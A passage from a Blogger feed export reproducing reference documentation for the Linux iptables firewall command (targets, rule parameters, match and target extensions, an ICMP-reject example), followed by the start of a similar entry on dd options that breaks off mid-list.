&lt;b&gt;-L&lt;/b&gt; command, list the  current counter values before they are reset.&lt;/blockquote&gt;&lt;refsect1 id="linuxnut5-CHP-3-479"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Targets&lt;/h3&gt;A target may be the name of a chain or one of the following special  values:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;ACCEPT&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Let the packet through.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;DROP&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Drop the packet.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;QUEUE&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Send packets to the user space for processing.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;RETURN&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Stop traversing the current chain and return to the point  in the previous chain from which this one was called. If &lt;b&gt;RETURN&lt;/b&gt;  is the target of a rule in a built-in chain, the built-in chain's  default policy is applied.&lt;/blockquote&gt;&lt;refsect1 id="linuxnut5-CHP-3-480"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Rule specification parameters&lt;/h3&gt;These options are used to create rules for use with the preceding  commands. Rules consist of some matching criteria and usually a target  to jump to (&lt;b&gt;-j&lt;/b&gt;) if the match is made. Many of the parameters for  these matching rules can be expressed as a negative with an exclamation  point (!) meaning "not." Those rules will match everything except the  given parameter.&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-c&lt;/b&gt; &lt;i&gt;packets&lt;/i&gt; &lt;i&gt;bytes&lt;/i&gt;, &lt;b&gt;--set-counters&lt;/b&gt;  &lt;i&gt;packets&lt;/i&gt; &lt;i&gt;bytes&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Initialize packet and byte counters to the specified  values.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-d [!] &lt;/b&gt; &lt;i&gt;address&lt;/i&gt;[/&lt;i&gt;mask&lt;/i&gt;]  [&lt;b&gt;!&lt;/b&gt;]   [&lt;i&gt;port&lt;/i&gt;] , &lt;b&gt;--destination&lt;/b&gt; [&lt;b&gt;!&lt;/b&gt;]  &lt;i&gt;address&lt;/i&gt;[/&lt;i&gt;mask&lt;/i&gt;]   [&lt;i&gt;port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match packets from the destination &lt;i&gt;address&lt;/i&gt;. The  address may be supplied as a hostname, a network name, or an IP address.  The optional mask is the netmask to use and may be supplied either in  the traditional form (e.g., /255.255.255.0) or in the modern form (e.g.,  /24).&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;[!]  -f, [!] --fragment&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;The rule applies only to the second or further fragments  of a fragmented packet.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-i [!] &lt;/b&gt; &lt;i&gt;name&lt;/i&gt;[+] , &lt;b&gt;--in-interface&lt;/b&gt;  &lt;i&gt;name&lt;/i&gt;[+] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match packets being received from interface &lt;i&gt;name&lt;/i&gt;.  &lt;i&gt;name&lt;/i&gt; is the network interface used by your system (e.g., &lt;b&gt;eth0&lt;/b&gt;  or &lt;b&gt;ppp0&lt;/b&gt;). A &lt;b&gt;+&lt;/b&gt; can be used as a wildcard, so &lt;b&gt;ppp+&lt;/b&gt;  would match any interface name beginning with &lt;b&gt;ppp&lt;/b&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-j&lt;/b&gt; &lt;i&gt;target&lt;/i&gt;, &lt;b&gt;--jump&lt;/b&gt; &lt;i&gt;target&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Jump to a special target or a user-defined chain. If this  option is not specified for a rule, matching the rule only increases  the rule's counters, and the packet is tested against the next rule.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-o [!] &lt;/b&gt; &lt;i&gt;name&lt;/i&gt;[+] , &lt;b&gt;--out-interface&lt;/b&gt;  &lt;i&gt;name&lt;/i&gt;[+] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match packets being sent from interface &lt;i&gt;name&lt;/i&gt;.  See the description of &lt;link linkend="linuxnut5-CHP-3-6"&gt;&lt;/link&gt;&lt;b&gt;-i&lt;/b&gt; for  the syntax for &lt;i&gt;name&lt;/i&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-p [!] &lt;/b&gt; &lt;i&gt;name&lt;/i&gt;, &lt;b&gt;--protocol&lt;/b&gt; [&lt;b&gt;!&lt;/b&gt;]   &lt;i&gt;name&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match packets of protocol &lt;i&gt;name&lt;/i&gt;. The value of &lt;i&gt;name&lt;/i&gt;  can be given as a name or number, as found in the file &lt;i&gt;/etc/protocols&lt;/i&gt;.  The most common values are &lt;b&gt;tcp&lt;/b&gt;, &lt;b&gt;udp&lt;/b&gt;, &lt;b&gt;icmp&lt;/b&gt;, or the  special value &lt;b&gt;all&lt;/b&gt;. The number &lt;b&gt;0&lt;/b&gt; is equivalent to &lt;b&gt;all&lt;/b&gt;,  and this is the default value when this option is not used. If there  are extended matching rules associated with the specified protocol, they  will be loaded automatically. You need not use the &lt;b&gt;-m&lt;/b&gt; option to  load them.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-s [!] &lt;/b&gt; &lt;i&gt;address&lt;/i&gt;[/&lt;i&gt;mask&lt;/i&gt;]  [&lt;b&gt;!&lt;/b&gt;]   [&lt;i&gt;port&lt;/i&gt;] , &lt;b&gt;--source&lt;/b&gt; [&lt;b&gt;!&lt;/b&gt;]  &lt;i&gt;address&lt;/i&gt;[/&lt;i&gt;mask&lt;/i&gt;]   [&lt;b&gt;!&lt;/b&gt;]  [&lt;i&gt;port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match packets with the source &lt;i&gt;address&lt;/i&gt;. See the  description of &lt;link linkend="linuxnut5-CHP-3-8"&gt;&lt;/link&gt;&lt;b&gt;-d&lt;/b&gt; for the  syntax of this option.&lt;/blockquote&gt;&lt;refsect1 id="linuxnut5-CHP-3-481"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Options&lt;/h3&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-h&lt;/b&gt; [&lt;b&gt;icmp&lt;/b&gt;] , &lt;b&gt;--help&lt;/b&gt; [&lt;b&gt;icmp&lt;/b&gt;]  &lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Print help message. If &lt;b&gt;icmp&lt;/b&gt; is specified, a list  of valid ICMP type names will be printed. &lt;b&gt;-h&lt;/b&gt; can also be used  with the &lt;b&gt;-m&lt;/b&gt; option to get help on an extension module.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--line-numbers&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Used with the &lt;b&gt;-L&lt;/b&gt; command. Add the line number to  the beginning of each rule in a listing, indicating its position in the  chain.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-m&lt;/b&gt; &lt;i&gt;module&lt;/i&gt;, &lt;b&gt;--match&lt;/b&gt; module&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Explicitly load matching rule extensions associated with &lt;i&gt;module&lt;/i&gt;.  See the next section.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--modprobe&lt;/b&gt;&lt;i&gt;=command&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Use specified &lt;i&gt;command&lt;/i&gt; to load any necessary  kernel modules while adding or inserting rules into a chain.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-n&lt;/b&gt;, &lt;b&gt;--numeric&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Print all IP address and port numbers in numeric form. By  default, text names are displayed when possible.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-t&lt;/b&gt; &lt;i&gt;name&lt;/i&gt;, &lt;b&gt;--table&lt;/b&gt; &lt;i&gt;name&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Apply rules to the specified table. Rules apply to the  filter table by default.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-v&lt;/b&gt;, &lt;b&gt;--verbose&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Verbose mode.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-x&lt;/b&gt;, &lt;b&gt;--exact&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Expand all numbers in a listing (&lt;b&gt;-L&lt;/b&gt;). Display the  exact value of the packet and byte counters instead of rounded figures.&lt;/blockquote&gt;&lt;refsect1 id="linuxnut5-CHP-3-482"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Match extensions&lt;/h3&gt;Several modules extend the matching capabilities of netfilter rules.  Using the &lt;b&gt;-p&lt;/b&gt; option will cause &lt;b&gt;iptables&lt;/b&gt; to load associated  modules implicitly. Others need to be loaded explicitly with the &lt;b&gt;-m&lt;/b&gt;  or &lt;b&gt;--match&lt;/b&gt; options&lt;indexterm id="IDX-CHP-3-1658"&gt;&lt;/indexterm&gt;.  Here we document those modules used most frequently.&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;icmp&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Loaded when &lt;b&gt;-p icmp&lt;/b&gt; is the only protocol  specified:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--icmp-type [!] &lt;/b&gt; &lt;i&gt;type&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Match the specified ICMP &lt;i&gt;type&lt;/i&gt;. &lt;i&gt;type&lt;/i&gt; may  be a numeric ICMP type or one of the ICMP type names shown by the  command &lt;b&gt;iptables -p icmp -h&lt;/b&gt;.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;multiport&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Loaded explicitly with the &lt;b&gt;-m&lt;/b&gt; option. The &lt;b&gt;multiport&lt;/b&gt;  extensions match sets of source or destination ports. These rules can  be used only in conjunction with &lt;b&gt;-p tcp&lt;/b&gt; and &lt;b&gt;-p udp&lt;/b&gt;. Up to  15 ports can be specified in a comma-separated list:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--source-port&lt;/b&gt; [&lt;i&gt;ports&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Match the given source &lt;i&gt;ports&lt;/i&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--destination-port&lt;/b&gt; [&lt;i&gt;ports&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match the given destination &lt;i&gt;ports&lt;/i&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--port&lt;/b&gt; [&lt;i&gt;ports&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match if the packet has the same source and destination  port and that port is one of the given &lt;i&gt;ports&lt;/i&gt;.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;state&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Loaded explicitly with the &lt;b&gt;-m&lt;/b&gt; option. This module  matches the connection state of a packet:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--state&lt;/b&gt; &lt;i&gt;states&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Match the packet if it has one of the states in the  comma-separated list &lt;i&gt;states&lt;/i&gt;. Valid states are &lt;b&gt;INVALID&lt;/b&gt;, &lt;b&gt;ESTABLISHED&lt;/b&gt;,  &lt;b&gt;NEW&lt;/b&gt;, and &lt;b&gt;RELATED&lt;/b&gt;.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;tcp&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Loaded when &lt;b&gt;-p tcp&lt;/b&gt; is the only protocol specified:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--source-port [!] &lt;/b&gt; [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;]  , &lt;b&gt;--sport&lt;/b&gt; [&lt;b&gt;!&lt;/b&gt;]  [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Match the specified source ports. Using the colon  specifies an inclusive range of services to match. If the first port is  omitted, 0 is the default. If the second port is omitted, 65535 is the  default. You can also use a dash instead of a colon to specify the  range.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--destination-port [!] &lt;/b&gt; [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;]  , &lt;b&gt;--dport&lt;/b&gt; [&lt;b&gt;!&lt;/b&gt;]  [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match the specified destination ports. The syntax is the  same as for &lt;b&gt;--source-port&lt;/b&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--mss&lt;/b&gt; &lt;i&gt;n&lt;/i&gt;[:&lt;i&gt;n&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match if TCP SYN or SYN/ACK packets have the specified  MSS value or fall within the specified range. Use this to control the  maximum packet size for a connection.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;[!]  --syn&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match packets with the SYN bit set and the ACK and FIN  bits cleared. These are packets that request TCP connections; blocking  them prevents incoming connections. Shorthand for &lt;b&gt;--tcp-flags  SYN,RST,ACK SYN&lt;/b&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--tcp-flags [!] &lt;/b&gt; &lt;i&gt;mask&lt;/i&gt; &lt;i&gt;comp&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match the packets with the TCP flags specified by &lt;i&gt;mask&lt;/i&gt;  and &lt;i&gt;comp&lt;/i&gt;. &lt;i&gt;mask&lt;/i&gt; is a comma-separated list of flags  that should be examined. &lt;i&gt;comp&lt;/i&gt; is a comma-separated list of  flags that must be set for the rule to match. Valid flags are &lt;b&gt;SYN&lt;/b&gt;,  &lt;b&gt;ACK&lt;/b&gt;, &lt;b&gt;FIN&lt;/b&gt;, &lt;b&gt;RST&lt;/b&gt;, &lt;b&gt;URG&lt;/b&gt;, &lt;b&gt;PSH&lt;/b&gt;, &lt;b&gt;ALL&lt;/b&gt;,  and &lt;b&gt;NONE&lt;/b&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--tcp-option [!] &lt;/b&gt; &lt;i&gt;n&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match if TCP option is set.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;udp&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Loaded when &lt;b&gt;-p udp&lt;/b&gt; is the only protocol specified:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--source-port [!] &lt;/b&gt; [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;]  , &lt;b&gt;--sport&lt;/b&gt; [&lt;b&gt;!&lt;/b&gt;]  [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Match the specified source ports. The syntax is the same  as for the &lt;b&gt;--source-port&lt;/b&gt; option of the TCP extension.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--destination-port [!] &lt;/b&gt; [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;]  , &lt;b&gt;--dport&lt;/b&gt; [&lt;b&gt;!&lt;/b&gt;]  [&lt;i&gt;port&lt;/i&gt;] [:&lt;i&gt;port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Match the specified destination ports. The syntax is the  same as for the &lt;b&gt;--source-port&lt;/b&gt; option of the TCP extension.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;refsect1 id="linuxnut5-CHP-3-483"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Target extensions&lt;/h3&gt;Extension targets are optional additional targets supported by  separate kernel modules. They have their own associated options. We  cover the most frequently used target extensions&lt;indexterm id="IDX-CHP-3-1659"&gt;&lt;/indexterm&gt; below.&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;DNAT&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Modify the destination address of the packet and all  future packets in the current connection. &lt;b&gt;DNAT&lt;/b&gt; is valid only as a  part of the &lt;b&gt;POSTROUTING&lt;/b&gt; chain in the &lt;b&gt;nat&lt;/b&gt; table:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--to-destination&lt;/b&gt; &lt;i&gt;address&lt;/i&gt;[-&lt;i&gt;address&lt;/i&gt;]  [&lt;i&gt;port-port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Specify the new destination address or range of  addresses. The arguments for this option are the same as the &lt;b&gt;--to-source&lt;/b&gt;  argument for the &lt;b&gt;SNAT&lt;/b&gt; extension target.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;LOG&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Log the packet's information in the system log:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--log-level&lt;/b&gt; &lt;i&gt;level&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Set the syslog level by name or number (as defined by &lt;i&gt;syslog.conf&lt;/i&gt;).&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--log-prefix&lt;/b&gt; &lt;i&gt;prefix&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Begin each log entry with the string &lt;i&gt;prefix&lt;/i&gt;. The  prefix string may be up to 30 characters long.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--log-tcp-sequence&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Log the TCP sequence numbers. This is a security risk if  your log is readable by users.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--log-tcp-options&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Log options from the TCP packet header.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--log-ip-options&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Log options from the IP packet header.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;MASQUERADE&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Masquerade the packet so it appears that it originated  from the current system. Reverse packets from masqueraded connections  are unmasqueraded automatically. This is a legal target only for chains  in the &lt;b&gt;nat&lt;/b&gt; table that handle incoming packets and should be used  only with dynamic IP addresses (like dial-up.) For static addresses use &lt;b&gt;DNAT&lt;/b&gt;:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--to-ports&lt;/b&gt; &lt;i&gt;port&lt;/i&gt;[-&lt;i&gt;port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Specify the port or range of ports to use when  masquerading. This option is valid only if a &lt;b&gt;tcp&lt;/b&gt; or &lt;b&gt;udp&lt;/b&gt;  protocol has been specified with the &lt;b&gt;-p&lt;/b&gt; option. If this option is  not used, the masqueraded packet's port will not be changed.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;REJECT&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Drop the packet and, if appropriate, send an ICMP message  back to the sender indicating the packet was dropped. If the packet was  an ICMP error message, an unknown ICMP type, or a nonhead fragment, or  if too many ICMP messages have already been sent to this address, no  message is sent:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--reject-with&lt;/b&gt; &lt;i&gt;type&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Send specified ICMP message type. Valid values are &lt;b&gt;icmp-net-unreachable&lt;/b&gt;,  &lt;b&gt;icmp-host-unreachable&lt;/b&gt;, &lt;b&gt;icmp-port-unreachable&lt;/b&gt;, or &lt;b&gt;icmp-proto-unreachable&lt;/b&gt;.  If the packet was an ICMP ping packet, &lt;i&gt;type&lt;/i&gt; may also be &lt;b&gt;echo-reply&lt;/b&gt;.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;SNAT&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Modify the source address of the packet and all future  packets in the current connection. &lt;b&gt;SNAT&lt;/b&gt; is valid only as a part  of the &lt;b&gt;POSTROUTING&lt;/b&gt; chain in the &lt;b&gt;nat&lt;/b&gt; table:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;--to-source&lt;/b&gt; &lt;i&gt;address&lt;/i&gt;[-&lt;i&gt;address&lt;/i&gt;]  [&lt;i&gt;port-port&lt;/i&gt;] &lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Specify the new source address or range of addresses. If a  &lt;b&gt;tcp&lt;/b&gt; or &lt;b&gt;udp&lt;/b&gt; protocol has been specified with the &lt;b&gt;-p&lt;/b&gt;  option, source ports may also be specified. If none is specified, map  the new source to the same port if possible. If not, map ports below 512  to other ports below 512, those between 512 and 1024 to other ports  below 1024, and ports above 1024 to other ports above 1024.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;refsect1 id="linuxnut5-CHP-3-484"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Examples&lt;/h3&gt;To reject all incoming ICMP traffic on eth0:&lt;br /&gt;&lt;b&gt;iptables -A INPUT -p ICMP -i eth0 -j  REJECT&lt;/b&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-256062864070285680?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/256062864070285680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/iptables-system-administration-command.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/256062864070285680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/256062864070285680'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/iptables-system-administration-command.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-5732234486313023965</id><published>2010-03-15T10:51:00.000-07:00</published><updated>2010-03-15T22:15:49.171-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red;"&gt;&lt;i&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;dd&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;dd options&lt;br /&gt;&lt;br /&gt;Make a copy of an input file (if) using the specified conditions, and send the results to the output file (or standard output if of is not specified). Any number of options can be supplied, although if and of are the most common and are usually specified first.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt; Because dd can handle arbitrary block sizes, it is useful when converting between raw physical devices.&lt;br /&gt;Options&lt;br /&gt;&lt;div style="color: #741b47;"&gt;bs=n&lt;/div&gt;&lt;br /&gt;Set input and output block size to n bytes; this option overrides ibs and obs.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;cbs=n&lt;/div&gt;&lt;br /&gt;Set the size of the conversion buffer (logical record length) to n bytes. Use only if the conversion flag is ascii, ebcdic, ibm, block, or unblock.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;conv=flags&lt;/div&gt;&lt;br /&gt;Convert the input according to one or more (comma-separated) flags listed next. The first five flags are mutually exclusive.&lt;br /&gt;ascii&lt;br /&gt;&lt;br /&gt;EBCDIC to ASCII.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;ebcdic&lt;/div&gt;&lt;br /&gt;ASCII to EBCDIC.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;ibm&lt;/div&gt;&lt;br /&gt;ASCII to EBCDIC with IBM conventions.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;block&lt;/div&gt;&lt;br /&gt;Variable-length records (i.e., those terminated by a newline) to fixed-length records.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;unblock&lt;/div&gt;&lt;br /&gt;Fixed-length records to variable-length records.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;lcase&lt;/div&gt;&lt;br /&gt;Uppercase to lowercase.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;ucase&lt;/div&gt;&lt;br /&gt;Lowercase to uppercase.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;noerror&lt;/div&gt;&lt;br 